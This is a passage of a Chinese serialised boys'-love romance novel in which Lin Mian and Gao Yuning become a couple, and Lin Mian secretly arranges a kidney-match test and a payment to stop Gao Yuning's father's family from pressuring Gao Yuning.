以前受过那么多伤,养到最后最多只会留一点点淡淡的痕迹,因为郜屿宁管得很严,洗澡会帮他当心得很好,每天也要坚持涂药,不允许他挠不允许他扣,连忌口都是注意好的。 自受伤开始,不知道重复了多少次,这样浸湿又捂干,浸湿又捂干。 林缅憋不住,又要抬手去挠,被郜屿宁一巴掌拍开,他皱着眉,啧了一声。 平时最爱装可怜的林缅,真到这种时候就装不起来了,因为他知道郜屿宁真的在意这些。 他舍不得叫郜屿宁心疼,更何况当初是他发酒疯哭着嚷着说不要郜屿宁管的。 “不疼的。”他另一只手抬起来,伸出手指,在伤口上直接大剌剌地刮了好几下,宽慰郜屿宁,“你看,真的不疼。” 郜屿宁瞪大了眼睛,把他的手拿开,“你干什么?” “不疼呀…我怕你担心…” 郜屿宁有些头疼地叹了一口气,“不是早就说过,要注意安全吗?干点活毛手毛脚就算了,平时也莽莽撞撞,什么时候能学得会。” 林缅回答,“平时很注意的,这是意外。” 林缅偷偷瞥了一眼郜屿宁,又放低了音量,“你也没有做好榜样呀,总是不爱惜自己身体,不好好吃饭,总是熬夜,还有抽烟…” 说着林缅还敲了敲拿平板上的笔敲了敲面前的烟灰缸,声音清脆。 “我受的还只是皮外伤呢,你这才是真的对身体不负责。”林缅说得有理有据。 郜屿宁顿了一下,“现在在说你的事情。” 林缅不服气,“什么你的事我的事…” “明明失去我你也会很难过,你怎么就不想想我呢?你可是我生命里最重要的人了。” 郜屿宁好像都对他信口开河一样的情话都要免疫了,“明天去医院配药。” “我不要,那明天我又要一个人上班了。” “我陪你。”郜屿宁有些无奈地拉长了尾音。 作者有话说: 第57章 第57章[VIP] 郜屿宁请了半天假, 带林缅去了趟医院。 医院里人挤人,林缅的手从拽着他的衣袖,到悄悄牵住郜屿宁的手。 郜屿宁回头看了他一眼。 林缅解释, “人太多了,我怕走散了。” 郜屿宁收回目光,没说话, 任由他牵着。 林缅心思盘算着,他现在的卧室只和郜屿宁只有一壁之隔, 每天早上还能一起上下班, 一起共进早中晚三餐, 而且已经能到了牵手的地步。 却绝口不提绕了一大圈子, 只是回到了原点这一件事。 但如果非要说折腾这么久有什么收获,那就是知道郜屿宁也是喜欢自己的。 在诊室外面的长椅上坐着,林缅都抱着郜屿宁的一条手臂,他心中窃喜。 直到中间的大屏上显示他的号码和名字,郜屿宁陪他进诊室, 看到伤口医生都轻轻嘶了一声。 林缅偷偷瞟了一眼郜屿宁,郜屿宁也正没好气地看着他。 医生看了眼郜屿宁, “你是哥哥吧, 做家长的也不注意好?” 林缅如临大敌, 背挺直了起来, “不关我哥的事…” 郜屿宁视线落回林缅的手臂上,嗯了一声。 医生无奈地叹了口气, 交代了几句注意事项, 郜屿宁听着, 林缅看着郜屿宁心里都替他委屈。 走出诊室,林缅又要悄悄牵他的手, 郜屿宁躲开,“你听到了,到时候留疤不嫌难看?” “留疤了我可以用文身盖起来呀,我就文一个,郜屿宁我爱你,一生一世永不分离。” 郜屿宁面无表情地看着他。 “好了好了,我开玩笑的…”林缅抿着嘴,小声认错。 郜屿宁吸了一口气,“你在旁边坐一会,我去拿药。” “好吧。” 林缅坐到长椅上,目送着郜屿宁去窗口取号,看着他的背影越走越远,直到进了拐角看不见了,才收回视线。 他玩了会手机,又打量着来来往往的行人,百无聊赖。 但是他突然从对面上行扶梯上看到了一个有点眼熟的身影,远远地看着,有点像郜决冕。 穿着打扮也很像,中规中矩的运动外套和牛仔裤,只是跟在一个女人的身后,那女人还时不时转头跟他说些什么。 “看什么呢?”郜屿宁拎着装药的袋子,在他面前晃了晃。 说着就直接朝另一侧走了。 林缅再看过去时,男生和女人都已经不见,他只当自己眼睛花了。郜决冕自己都说了父母不在江市,他能跟哪个女人来医院。 林缅赶紧起身,追上郜屿宁,神不知鬼不觉地把郜屿宁手上的袋子拿过来换了只手拎着,然后又神不知鬼不觉地和他十指紧扣。 “哥,晚上你帮我上药好不好?” “哥,今天晚上我做饭。” 晚上林缅非要下厨,把厨房搞得乌烟瘴气的,锅里的油四处乱溅,吓得他呜哇乱叫,拿锅盖当盾牌。 大声嚷嚷,“手机里明明不是这样的!” 慌乱平息后,他朝厨房移门外冷眼旁观他狼狈模样的郜屿宁,投去一个可怜的眼神,最后还要求助郜屿宁。 郜屿宁只得忍着嘲笑,把锅里焦黑的鸡翅全都倒进垃圾桶,重新做饭。 林缅还要继续帮他打下手,郜屿宁要把他赶出去。 “那以后你做饭,我洗碗好了!”林缅精打细算地安排。 “喊郜决冕来吃饭。” “嗯嗯!好的哥哥!” 饭桌上,郜决冕依旧安静地进食,林缅找了个话题,随口问,“小冕,你身体好点了不应该赶紧把落下的功课补补吗?怎么没回学校上课?” 郜决冕顿了一下,“我,我带了一点,习题,平时也会做…” 支支吾吾,好像被抽问了一个没人教过的问题一样。 他大脑飞速运转,又小心翼翼地看了眼郜屿宁一眼,憋出来一句,“爸爸说哥哥成绩很好,有不会的…可以问哥哥,吗。” 郜屿宁置若罔闻。 气氛有些尴尬,林缅赶紧说,“我成绩也不错呢,你也可以问我…” 林缅觉得郜决冕不善言辞,随便聊聊天都会紧张,有种自己在刁难他的感觉。 话题结束,郜决冕像是完成任务似的暗暗松了一口气。 吃过晚饭,郜决冕看林缅收拾餐桌,也想要帮忙,但捧着碗筷跟进厨房,看见洗碗机有点茫然,他根本不会用。 林缅接过他手里的碗筷,“我来就好,你去休息吧。” 郜决冕比他小几岁,可能因为生病或是营养不良的原因,比同龄人都要矮一些,林缅比他也高了有一个头。 郜决冕站在原地,林缅觉得他可怜兮兮的,有些怜爱用手背贴了贴他脸上的婴儿肥,“没事啦,你快去休息吧。” 郜决冕水灵灵的眼睛眨了一下,好像从来没有被这样温柔地对待过,连脸蛋都以肉眼可见的速度开始变红。 身上的睡衣是林缅送给他的。因为自己的那件已经被洗得泛白,边角都磨烂了,林缅当时看到就直接把自己一套过了水但还没穿过的新睡衣给他了。 郜决冕有些无措地蹭了蹭裤缝,温柔的材质蹭在他的掌心,他吸了吸鼻子就跑出去了。 林缅收拾完,走出厨房,见只有郜屿宁一个人在客厅。 “小冕呢?” “回去了。”郜屿宁淡淡地回答。 林缅若有所思地点点头。 他很理解郜屿宁并不喜欢这个弟弟,即便郜决冕再无辜,那也是郜青山出轨和别的女人生下的孩子,况且他付了这么多年的医疗费,把孩子丢过来也没有赶出去叫他睡大街,已经够仁至义尽的了。 他更不可能劝郜屿宁对郜决冕稍微温柔一点。 “你倒是带孩子带上瘾了?”郜屿宁抬头问他。 林缅脸热了一下,他也觉得自己和郜决冕有时候像是小孩子过家家,一个小孩儿在带小小孩儿,甚至有时候教育他不要挑食和熬夜,像个拿着鸡毛当令箭的小大人。 “过来,让我看你的手。”郜屿宁说。 林缅拎着上午刚配的药走了过来,郜屿宁拽着他的手臂把他拉回来,他干脆脱了拖鞋,面朝郜屿宁,跪坐在沙发上。 经过郜屿宁警告,这次洗澡的时候一点都没有沾水,小心得很。 郜屿宁挤出药膏,用棉签蘸着,动作轻柔地抹开。 “你要是不想叫他小冕,可以不叫。”郜屿宁突然说。 林缅愣了一下,看着郜屿宁认真帮他上药的神情,舔了舔有些发涩的嘴唇,故作轻松地说,“这有什么,一个称呼而已,我拥有的东西比他多很多…” “就算你这样叫他,我也不会介意…”林缅继续故作大度地说。 郜屿宁看向他,身子微微朝他倾着,“真的?” 林缅撇开眼神,“真的啊,我已经不像以前那么幼稚了,我要是跟他争这个抢那个,岂不是很不懂事,让你在中间很难做…”说了很多像是急于要和郜屿宁证明自己有多成熟。 郜屿宁看着林缅收回自己的手臂,把撸起来的袖子一点点捋下来。 林缅朝他挤了一个微笑,故作随意捋了下头发。 两人对视的瞬间,客厅的灯倏地闪了一下,接着伴随电流声,直接彻底暗了下来。 林缅愣了一下,只能借着室外洒进来的光亮看清郜屿宁的脸,在黑夜里轮廓分明,但眼神却笼在阴翳里,叫人看不清情绪。 突然断电这样的事情在江市这样的小区里几乎不可能出现,但两个人都不为所动。 “真的?”郜屿宁靠近了一些,又问了一遍,呼吸喷在林缅的脸上。 林缅的心被揪了一下,沮丧地说,“假的,你从来没有这样叫过我…” 好像在黑夜里,才敢把自己的心剖得干净,把自己都不敢面对的情绪敞亮地摆出来。 林缅吸了吸鼻子继续说,“哥,其实我都是装的,一直都是…” “我好讨厌我自己,我说我不要作弊了,会好好追你,不会再让你觉得我很任性很幼稚,不是只是想跟你上床,不让你觉得我只是玩玩而已,可是我现在其实还是很想亲你…” 林缅话还没说,就变成呜咽。郜屿宁直接捏住他的后颈,吻了上去。 林缅愣了两秒,才反应过来,心头涌出很久没有尝到过的甜味,他屁股微微抬起,身体朝郜屿宁靠过去,两只手挂到郜屿宁的脖子上,努力地回应着。 像是黑夜里突然破开一个白色口子,他迫不及待地要去撕开。 郜屿宁另一只手托住他的屁股,让他借着力跨坐到自己身上。 他们胸口紧贴着,呼吸和心跳都同频。 时隔这么久,再心平气和地在一起拥吻,好像折腾很久只是让郜屿宁认清了一个事实,就是他还是没有办法拒绝林缅,没办法狠心地真正把他拒之门外。 他总说林缅任性幼稚,想一出是一出,以此一次次拒绝林缅。但试问他自己,在林缅只把他当做世界中心,只黏他一个人、万事都以郜屿宁为先、毫不掩饰自己对郜屿宁的占有欲的时候,他就没有一点点得意和开心吗? 就在他为自己设下的底线为了林缅一退再退的时候,还在一遍遍告诉自己对林缅或许也只是因为习惯了而已。 但是习惯竟然是世界上第一可怕的事情,它就像浸在缝隙的霉菌,一点点扩散,叫你清除不干净,等你意识到时已经爬满身体,叫你想改变时抓心挠肝的难受,叫你无意识时就做出反应回过神来怅然若失。 而爱可能都没有这个本事。 他见识到了。 在他以为林缅出事时就为之牵动的心跳里,在林缅闯了祸就想教育他,在他每每委屈自己装懂事装大度就心疼的时候… 甚至就在早上吃错了包子要下意识交换的时候,他就反应过来了。 习惯竟然是比爱还要坚固的事情。 郜屿宁后知后觉,在他执意要将习惯和爱划清界限之前,他和林缅就已经在那两个圆圈的交集里待了很久很久了。 郜屿宁捏着他后颈的手越发用力,另一只手紧紧箍住他的腰,林缅被抱得挺起腰,几乎坐到郜屿宁的胯上。 捧着郜屿宁的脸,低下头吮着他的嘴唇和舌尖,小心又虔诚。 两人的嘴唇逐渐分开。 黑暗里,林缅低头看着郜屿宁的眼睛,咬着嘴唇,脸颊发烫,他舔掉嘴角的水光。 “哥,我还是有希望的对不对…”林缅踌躇着开口。 郜屿宁捏住他后颈的手轻轻摩挲,又吻了一下林缅的嘴角。 “你说话呀。”林缅声音发颤地说。 郜屿宁却偏偏逗他似的,不说话,捏着他脸又亲了他一口。 林缅顿了一下,心砰砰跳得很快,表面上竟害羞起来,“不说话什么意思呀,不是很讨厌没名没分就亲亲抱抱的吗?” 郜屿宁不理他,继续亲他,亲得时间更长了一点,嗦他嘴唇嗦出声响。 听到声音的林缅面红耳赤,沉了沉呼吸,干脆说道,“你这样没头没脑地亲我,那我是不是也能跟你讨名分了…” “可以试试。”郜屿宁笑着说。 作者有话说: 第58章 第58章[VIP] “什么试试?试试问你要名分, 还是我们试试?”林缅眼睛闪啊闪。 郜屿宁搂着他腰的手紧了紧,“平时不是很能说?现在这都听不懂?” “我不得问明白嘛…”林缅嘟囔。 “都可以试试。”郜屿宁看着他发亮的眼睛,直白地说。 林缅睁大了眼睛, 心脏都要跳出来了。 “哑巴了?”郜屿宁掐住他的脸。 “那我们是在谈恋爱了吗?”林缅吸了一口气,有些郑重地问。 郜屿宁轻轻吻住林缅的嘴巴,吻得比刚刚那几个蜻蜓点水的吻都绵长一点, 轻声回答道,“嗯。” 他有些迟钝地说, “哥哥, 我心跳好快, 你快摸…”把郜屿宁的一只手贴到自己的胸口。 林缅睁大了眼睛, 咽了咽口水,想要认真看清郜屿宁的神情,想要知道他是认真的。 室内的灯光突然又闪了一下,又重新亮堂起来。 但对方的脸就这样清晰的展现在面前、眼神也这样直接地看着他时,林缅的呼吸更急促了一点, 视线躲开了,脸也红得滴血。 他扭身就要逃走, 却被郜屿宁箍得更紧, “干什么?又要翻脸不认人?” “不是…不要说又…”林缅有些不自然地抿了抿嘴唇, 又轻轻啄了一下郜屿宁的脸, “刚刚突然断电,我去看看郜决冕…” 郜屿宁的手才松开。 林缅连滚带爬地从郜屿宁身上下来, 慌乱地踩上拖鞋, 就往门口跑。 林缅又紧张又兴奋, 逃似的跑回自己家,靠在门板上捂着自己的心跳, 喘了好一会,嘴角都要扬起来。 等郜决冕从房间里出来,快走到他跟前了,林缅才回过神,还被吓了一跳。 “林缅哥哥,我刚刚跟你打招呼了,但是你一个人在傻笑…”郜决冕不好意思地说。 林缅捋了捋头发有些得意,“春天到了嘛…” “都要夏天了…”郜决冕实诚地嘟囔了一句。 林缅随意地说,“刚刚突然断电,我不放心,来看看你的。” 说着在屋里绕了一圈,“你有什么需要…” 突然顿了一下,在桌上看到一张有点眼熟的病历卡。 和今天去的那家医院的病历卡很像,他突然想起今天在医院看到的那个和郜决冕很像的那个人。 他眯了眯眼睛,直接问,“你今天去医院了?” 郜决冕顺着他的视线看过去,有些紧张,“那个那个,不是今天去的,是刚来那一天,我妈妈带我去的…” “听说,大城市,医疗条件好,所以,顺便带我去看看的…医生都说我好很多了…”他又一愣一愣地补充。 林缅顿了一下,许是满脑子都是和郜屿宁的浓情蜜意,也找不到郜决冕骗人的理由,况且也不好直接翻人家病历卡。 他说什么就信什么了,“好吧,那你有哪里不舒服一定要告诉我们。” 郜决冕的脸憋得通红,点点头。 林缅等着郜决冕爬上床,带小孩儿似的帮他把被子掖得好好的,才回郜屿宁家。 第二天林缅一起床就要主动去厨房里准备早餐,不料郜屿宁已经起床了。 他神不知鬼不觉地从身后抱住郜屿宁。 “洗脸去。” 林缅扭了扭身子,“怎么这么早就做早餐,都不给我机会表现一下…” 郜屿宁笑了一声,“见识过你的表现了。” 林缅知道他在内涵自己在厨房闹出的动静,脸在郜屿宁的背上蹭了两下。 “我们这样算不算,办公室恋情呀。” “不算。”郜屿宁干脆地回答。 林缅警铃大作,脑袋从侧身探过去,紧张地看着郜屿宁。 郜屿宁看向他,“是不是快期末考试了?你现在还有心思…” 林缅微微蹙眉,打断他,“你不会是因为要让我定心考试,才答应我在一起的吧?” “林缅,我真有时候想看看你脑子里一天到晚都是些什么?”郜屿宁没好气地说,用手肘推了推林缅,“赶紧去刷牙。” 林缅得到否认的答案开心,把郜屿宁的脸掰过来,狠狠嘬了嘬他的脸,“我好开心好开心,终于能和你谈恋爱了,爱你爱你,我以后每天早上都会说爱你,晚上睡觉之前也要…” 郜屿宁被他叽叽喳喳吵得头疼,抓着他的脸比谁劲儿大似的亲了一口,“好了好了,赶紧去。” 林缅竟然一时分不清是男朋友的待遇好,还是弟弟的待遇更好。 挤好牙膏的牙刷、准备好的早餐,甚至连肆无忌惮的拥吻… 竟然是他在当弟弟的时候就拥有了的,只是失而复得之后才发现自己原来得到了太多优待。 其实他也早就知道,如果不是郜屿宁的暗许,他那些带着查岗性质的电话一个都接不通、那些无理取闹的占有欲其实发作起来也幼稚得很,郜屿宁还是选择迁就。 坐在失而复得的专属副驾,林缅有些感慨地这样想。直到到了学校门口,林缅还没回过神。 “还要我抱你下去?”郜屿宁问。 林缅转过头,眨了两下眼睛,“那如果我期末考得好能有什么奖励吗?” 郜屿宁顿了一下,“暑假带你去旅游?” 林缅惊喜地眼睛瞪大了一些,“真的吗!” 但很快清了清嗓子,故作姿态道,“你之前说的只是试试,那是不是也代表可以转正了?” 郜屿宁笑了起来,顺着他的意思,“可以考虑。” 林缅的开心依旧溢于言表,又说,“那我晚上自己回去,不麻烦你来接啦。” “好。” 两人对视了几秒,林缅依旧没动弹。 郜屿宁侧过脸朝他靠近了一些。 林缅这才满意,凑过去捧着郜屿宁的脸嘬了两下。 “么么。” 他深吸一口气,鼓足勇气似的,轻声喊了一句,“晚上见,” “老公。”声音轻得像羽毛,扫过郜屿宁的耳朵。 郜屿宁的神经跳了一下,转过头准备逮住他教育一番,看人已经撩拨完,打开门逃跑了。 郜屿宁送他回学校是去画期末考试重点的,一整天林缅都沉浸在恋爱的粉红泡泡里,晚上就能和郜屿宁躲进香香软软的被窝里。 直到下午林缅收到郜屿宁消息,说晚上要加班,不回去吃饭。 林缅有些遗憾,但也正好好久没和朋友聚了,想到校门口那家小馆子还有点想念。 他思量了两秒,给郜决冕发了消息,告诉他晚上两人都不回来吃饭,问他想吃什么,给他点外卖。 郜决冕没过一会回复:没事林缅哥哥,我自己点。 安顿好郜决冕,林缅心里安定了一些。 邀请陈汋池景行一同去了小馆子,照例人满为患,只能坐在室外,只是现在已经是夏天,在室外吃完饭更舒服一些。 落座后,陈汋揶揄他,成天就知道围着哥哥转,怎么有闲情逸致跟朋友吃饭。 林缅轻咳了一声,觉得择日不如撞日,“我和我哥谈恋爱了!” 池景行露出惊喜的表情,配合的鼓掌、感叹和祝福。 陈汋却并没有表现出惊讶,继续帮池景行拆餐具,“这次说明白了?” 想起上次闹出的乌龙,林缅羞愧难当,有些难为情地点了点头。 陈汋继续说,“你确定把谈恋爱这三个词说清楚了吗?” “你确定你哥理解的谈恋爱和你说的谈恋爱是一个意思吗?” “你确定…”陈汋还要继续逼问被池景行打断。 见陈汋不是单纯的关心,而是在嘲讽他,林缅吸了一口气,“清楚了清楚了清楚了!” 陈汋继续哼笑一声,“费这么大劲…” 池景行推了推陈汋,举起橙汁,轻轻碰了碰林缅的杯子,“结果是好的嘛…” 林缅备受鼓励地点了点头,“嗯嗯,小行宝宝,还是你好…”说着抬头同饮一杯橙汁。 这里是江市市中心的老城区,一条街道都是各式各样的餐馆,都是很多年的老店,价格实惠,交通方便,到了晚饭时间,路边的行人渐渐多了起来。 他吸溜了一口大拉皮,抬起头正要感叹,视线朝远处过时,愣住了。 又看到了昨天那个熟悉的身影,这次不止一个女人,还有一个男人,坐在不远处另一家餐馆的门口。 那个男人他不可能认错,是郜青山。 郜决冕木楞地坐在木桌的边上,姜龄把纸巾盒里的卷筒纸拉得很长,扯掉后擦了一把还泛着油光的桌子。 “刚刚那个医生的话你们爷俩都听到了!”姜龄的语气泼辣。 父子俩默不作声。 姜龄扫了他们一眼,“不止一个医生这样说了,现在这个时候手术效果是最好的!” 郜决冕发着呆,回过神来,“我不想骗他们了,他们对我很好,我…”灆家生 “好好好,好什么好,给你点吃的喝的就算好了?”姜龄恨铁不成钢地说,“你看看你一天到晚一副呆样,把你送过去是去跟郜屿宁培养培养感情的。” 郜决冕不想住到郜屿宁家,但是只能听姜龄安排,他不敢反抗。住到郜屿宁家后,也只是跟个鸵鸟似的每天躲在林缅房间里,林缅不在的时候根本不敢和郜屿宁单独见面。 白天他们不在家的时候就溜出来跟姜龄郜青山在江市的各大医院巡回问诊,在他们回家之前就躲回房间里。 也几乎所有医生都说,趁现在病情不算太严重、身体其他器官功能尚好的时候做移植手术是最好的。 不然他们也不会从老家连市专门折腾到江市来。 今天正好在附近的江大附属医院看完医生,也是难得因为两人都不在家,才和父母在一起吃晚饭的。 他愣愣地听着姜龄的数落,数落完他,又开始数落郜青山,“你说说你,我怎么就嫁给你这个没出息的,叫你儿子帮这个忙也帮不成…” “这不还没提嘛?”郜青山也习惯了。 “郜青山我告诉你,合适的肾源等八九年的都有,小冕可等不起!而且老家的超市都卖了,可没钱…” 郜青山有些不耐烦地说。“不得等小冕跟他培养出点感情了再提吗?” 他抹了一把脸,瞥了眼姜龄,宽慰道,“人心都是肉长的,还能不管他亲弟弟了怎么着…” 姜龄冷哼一声,翻了个白眼,“那可未必,你这个儿子铁石心肠,连钱都不情不愿地给,就愿意跟小冕做配型了?” 郜决冕叹了一口气,沉默地扣着手上的皮。 他自小就很呆板,没有主见,姜龄泼辣,郜青山窝囊。即便认为他们这种做法比吸血鬼更可怕,但可能就在这样的环境里长大,他从没想过反抗。 吃过晚饭,看了眼时间差不多了,姜龄和郜青山把他送到郜屿宁小区附近的地铁站,怕被撞见,没有再把他送到门口。 郜决冕和他们道别之后,把手揣起兜里,朝郜屿宁家走去,生怕他们两人会提前回来,脚步不自觉加快了一些。 走出电梯,看到两个家门上的猫眼都没有透出光亮心里才安定一些。 他打开林缅家的家门,走进屋内,还没来得及舒口气。 黑暗中他听到有点声响,正准备抬手开灯,但来不及反应,身体突然被一股力量摁到门板上。 林缅的声音传进他的耳边,一个字一个字从牙缝里挤出来,努力按耐着快要失控的情绪。 “你们他妈到底想对我哥做什么!” 暗夜里也能看见他眼神阴狠,全然没有之前怜爱和温柔的态度,只剩下咬牙切齿的恨意。 作者有话说: 嗯嗯郜决冕这个情节很快就可以走完,不会吵架的,后面都挺甜的(我觉得) 还有就是,明天好哥俩要做.爱了,不知道会不会被锁,很注意尺度了。但是如果愿意的话还是建议早点来看。over。 第59章 第59章[VIP] 郜屿宁回到家已经很晚。洗完澡, 他推开林缅的房门,已经熄了灯,林缅把脸蒙进被子里, 一副睡着了的样子。 郜屿宁帮他把被子掖到下巴底下,本是动作温柔,但看到他还在轻颤的睫毛, 突然笑了起来,“装睡?” 林缅缓缓地睁开眼睛, “谁叫你回来这么晚的” “睡哪里?”郜屿宁一只手撑在床上, 低头看着他。 林缅抬起手臂, 郜屿宁会意, 手臂微微曲着,上身凑近了一点,林缅抱住郜屿宁的脖子,郜屿宁一只手托住他的屁股,把他像树袋熊一样抱起来, 抱回自己房间。 “困死了”林缅把头靠在郜屿宁肩膀上,故意打了个哈欠。 话是这么说, 林缅屁股沾到床上, 挂在郜屿宁脖子上的手也没舍得松开, 郜屿宁顺势捏着他的脖子吻了起来。 一来二去, 两个人的睡衣扔了一地。 许是太久没有做过的原因,林缅在这方面忍痛的本事又变差了一点, 哭得上气不接下气, 嘴唇咬得都要滴血。 郜屿宁掐住他的两颊, 叫他把嘴巴张开,伸进食指和中指, 撬开他咬紧的齿关,生怕他连用嘴巴呼吸都不会了,把自己憋死。 “呼吸。” “在哪里?” “放松一点…” 郜屿宁一步步地从头教他。 “嗯…”林缅机械地回答,眼神迷离,眼泪糊了一脸,津液也顺着嘴角滑出来。 直到结束,林缅的视线还没来得及聚焦,本能反应地朝郜屿宁怀里钻,需要他的安抚。 郜屿宁低头,看着他胸口猛烈地起伏着,哭得一抽一抽的,拍着他的背帮他顺气,“都白教了?” 林缅反应还是有些迟钝,懵懵地抬起头,声音很轻,“什么…” 郜屿宁笑了一声,帮他把被汗渍凝在额角的头发理好,“没什么,夸你聪明。” 林缅低声地答非所问,“感觉期末要挂科了…” 郜屿宁问,“状态不太对是因为这个事情?” 林缅愣了一下。 郜屿宁说,“心事重重的,以为我看不出来?” 看着眼泪凝在睫毛上表情茫然的林缅,他又说,“都教过你很多遍了,那个点怎么又不会找了?” 林缅的睫毛轻颤着垂下,脸红得更透。 “嗯?到底有什么事?”郜屿宁用指节轻轻刮了刮他的脸。 林缅想到郜决冕的事情,心思又沉了下来。 “就是因为期末考试,怕挂科了,你会生气…”林缅强打起精神,支支吾吾地说,“你只说跟我试试,万一因为我没考好你改变主意了怎么办…” 郜屿宁伸直自己的手臂,托着林缅的脑袋,让他直接枕了上去,“谁叫你之前不好好学的?” 林缅挪得离郜屿宁更近一点,委屈地说,“可是连楚老师都威胁我呢…说要挂我的体育…我明明打棒球很厉害,他不也这样对我…” “厉害你当初不珍惜天赋,不然你现在说不定在美职棒…”郜屿宁逗他。 林缅认真回答,“不行,我是同性恋,被爆出来职业生涯不会长久的。” 郜屿宁被他逗笑了,“你想得还挺久远?” 林缅点着头,头发又在郜屿宁的手臂上蹭得乱七八糟。 郜屿宁另一只手轻轻摸着他的背,沉了沉气,“只要你乖乖的听话就不会说你,你看你尽力了的事情,我什么时候怪过你?” “没有过…” 郜屿宁抬了一下眉毛,林缅眼睛闪了一下,深吸了一口气。 “哥…万一有些事我觉得乖,但是你会觉得不乖呢?” “那就不要做。” 郜屿宁不留余地地直接回答。 林缅顿了一下,眼睛躲开,含糊着回答,“哦…” 郜屿宁把他的脸抬起来,看着他的眼睛,重申了一遍,“那就不要做。” 林缅抿着嘴唇,眼睛有些心虚地闪了一下,“我知道,我当然知道…”说着凑到郜屿宁的嘴边啄了一下,轻描淡写,“我最听你的话了,只是有时候看你太辛苦了,想帮你分担分担。” 见人恢复了一些精神,郜屿宁才放心下来。 抓住挂在他肩膀的手,又带着摸过去,吻了一下嘴巴,用气声哄他,“宝宝,再试一下。” 林缅一下子挺起了腰,但把脸埋得更深,“哥…” 在正式期末考试之前,林缅每天忙碌,把落下的功课一点点补上。因为答应带林缅暑假出去旅游,手头上的工作抓得更紧了一些。 有天早上,吃早餐的时候,郜决冕偷偷瞟了郜屿宁一眼,做了很久的心理建设才开口,“哥哥,我今天准备回家了…” 郜屿宁愣了一下,轻咳了一声,拿起手机,“我帮你买票,自己一个人吗?” 林缅突然说,“他自己一个人可以的。” 郜决冕点了点头,“嗯。”又不太流畅地说,“我已经买好火车票了,我…” “我等会送你去车站。” 林缅抢在郜决冕开口之前说,“不用,郜决冕昨天就已经告诉我了,我已经帮他叫好车了。” 语气和态度比之前要冷漠太多。似乎一点都不希望郜决冕和郜屿宁之间有沟通有交流。 郜屿宁并没有多想,只以为林缅又是占有欲发作,顺着他的心意,连送人下楼拎行李都是林缅自己一个人去的。 林缅从走出家门到小区外,一路上两人都沉默不言,直到把人送到去父母住的小旅馆的计程车附近。 郜决冕才有些颤颤地开口,“林缅哥哥…我…” 林缅皱着眉,看向他,“别叫我哥哥,你以为你很无辜吗?” “我们对你不够好吗?你有那么多次机会可以告诉我。” “如果不是我自己发现,你…” 郜决冕一脸可怜样,怯生生地垂下眼睛。林缅撇开眼睛,又觉得于心不忍,深吸了一口气,烦躁得很。 不远处郜青山和姜龄堆着笑朝他们小跑过来,还没来得及开口。 “我帮你们只是为了不想让你们再去烦我哥,”林缅直接说。 林缅锁着眉毛,漂亮白净的脸蛋上眼神却不相符的狠戾,看向姜龄和郜青山,警告,“但是要是让我知道,你们还在缠着郜屿宁,下辈子你们都别想好过。” “这我懂的,那个…”姜龄敛起一点笑意,把掉下来的头发别到耳后,“那个,少爷,毕竟没有血缘关系,要是你没配上,那我们小冕…” 林缅瞪着姜龄,觉得他们不可理喻,他压低了声音,“就算是有血缘关系那也不是一定能配上的,如果郜屿宁没配上,你难不成还要缠着他一辈子?” 姜龄顿了一下,他们确实没想过要是郜屿宁配型失败的可能。 “不是,少爷…话不能这样说…” “我会给你们钱的。”林缅胸口起伏了一下。 姜龄咽了咽口水,“多少?” “五十万。” 这个数字跟她预想中的差太多了。 “我最多就会给你们这么多,我查过大部分换肾手术的费用,这已经绰绰有余了。”林缅语气平淡下来,开诚布公。 “你们家那么有钱,我之前电视上都看到过你爹,一年捐款都要捐…”姜龄作出讨价还价的架势。 林缅不耐烦地直接打断她。 “你先搞清楚,你现在要的是钱还是你儿子的命?你要是要钱,你儿子死的那天,我可以给你很多很多,多到你们夫妻两个不管在哪里都能过得风生水起,” “要是要命,我答应给你儿子做配型了,失败了给你五十万,你们可以接着等肾源,” 林缅直直地看着姜龄,一字一句地接着说。 “你,现在当着自己儿子的面回答我。” “是选能救你儿子命的五十万,还是等你儿子死了之后的五千万?” 郜决冕低下头,咬着嘴皮,耳根子通红。姜龄和郜青山都怔住了。 林缅继续说,语气淡然,“当然,你也可以什么都不要,像以前一样继续缠着郜屿宁,看看他愿意给你多少。” 两个见识短浅的村妇村夫论起谈判,完全不是伶牙俐齿又洞悉人性的林缅的对手。 回过神来,两个人对视了一下,又不自然地飘开。 姜龄捋了捋头发,回答,“要命,肯定是要命的…” 送走三人,林缅收回眼神,烦躁地呼出一口气,也打了辆回学校的车。 路上给郜屿宁发了消息:哥哥,我自己回学校啦[亲亲][亲亲] 郜屿宁:还准备送你去。 林缅:不用啦。好想赶紧考完,我已经在想你了哥哥。 林缅:哥哥我好爱你。 郜屿宁:什么时候考完? 林缅:要到27号下午呢[大哭]考完我就回来住。 郜屿宁:嗯。 27号下午,林缅回到校外的住处的时候,看到楼下停着的郜屿宁的那辆车心跳停了一下。 实际上他期末考试结束的时间往后谎报了一天,今天去医院抽血做配型了,幸亏郜屿宁没有直接去学校接他。 他强装镇定地跑到驾驶室,正好窗户落下来,“哥!” 郜屿宁偏了偏头,“上车。” 他沉了沉气,绕过车头跑上车。 现在六月末正好是夏天的季节,都已经换上了短袖,林缅有些不自然地扯了扯袖子。 “哥,你今天不用上班吗?” “正好来附近办事,就把你接回去。”郜屿宁扫了他一眼,察觉了他的动作。 直接拽过他的手臂看了一眼。 手肘部位贴了白色的无菌创可贴。 “怎么了?”郜屿宁问。 “今天学校里组织献血,我就报名了。”林缅不以为意地说。 郜屿宁视线在他脸上停了两秒,“怎么没跟我说?” “小事而已。”说着转身去系安全带。 最近林缅跟他叽叽喳喳的频率低了很多,以前林缅事无巨细到就被蚊子叮了一口都要跟他叫唤半天。 郜屿宁收回视线,直接启动了汽车。 晚上吃饭的时候,郜屿宁开口,“之后腾出来点时间,你想什么时候出去玩?” 林缅有些迟缓地把郜屿宁帮他剥好的虾送进嘴里,有些为难地开口,“暑假我可能和陈汋他们要去美国,去找徐语常。” 郜屿宁看向他,“多久?” “可能一个暑假吧…”林缅吞吞吐吐地说。 郜屿宁情绪不明,“之前也没跟我说?” “不是,是我忘记了。”林缅视线躲开,故意轻描淡写。 郜屿宁继续问,“刚谈恋爱就要分开这么久吗?” 林缅心跳又快了一点,声音更轻了,“之前就约好了的。”林缅不擅长说谎,只能问一句答一句。 郜屿宁吸了一口气,把手里刚剥好的虾肉丢进林缅的碗里,起身去厨房洗手,语气冷淡,“行,随便你。” 林缅扭身看过去,“哥?” 郜屿宁洗完手回来,抽了两张纸,低头擦手,看了眼视线随着他移动的林缅,“怎么了?” “没什么,还以为你不高兴了。”林缅重新低下头吃饭。 郜屿宁喉结滚了一下,坐回椅子上,抱起手臂。 